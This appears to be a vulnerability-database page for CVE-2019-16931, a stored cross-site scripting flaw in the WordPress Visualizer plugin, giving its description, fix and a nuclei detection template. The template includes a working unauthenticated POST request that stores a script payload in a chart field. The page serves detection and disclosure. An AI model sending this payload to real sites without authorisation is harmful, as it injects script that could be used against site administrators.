Browse / CVEs / CVE-2019-16931
CVE-2019-16931· themeisle / visualizer· CWE-79
WordPress Visualizer <3.3.1 - Cross-Site Scripting
WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability.
How to confirm it
Send: POST /wp-json/visualizer/v1/update-chart
Positive when: contains "{\"success\":\"Chart updated\"}" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2019-16931 -u <target>
The full check
id: CVE-2019-16931
info:
name: WordPress Visualizer <3.3.1 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
- https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
- https://wpvulndb.com/vulnerabilities/9893
- https://nvd.nist.gov/vuln/detail/CVE-2019-16931
- https://wordpress.org/plugins/visualizer/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-16931
cwe-id: CWE-79
epss-score: 0.03342
epss-percentile: 0.88762
cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: themeisle
product: visualizer
framework: wordpress
tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth,wpscan,themeisle,vuln
http:
- raw:
- |
POST /wp-json/visualizer/v1/update-chart HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"success":"Chart updated"}'
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
- https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
- https://wpvulndb.com/vulnerabilities/9893
- https://nvd.nist.gov/vuln/detail/CVE-2019-16931
- https://wordpress.org/plugins/visualizer/#developers
Use this check only on systems you are authorised to test. Where the data comes from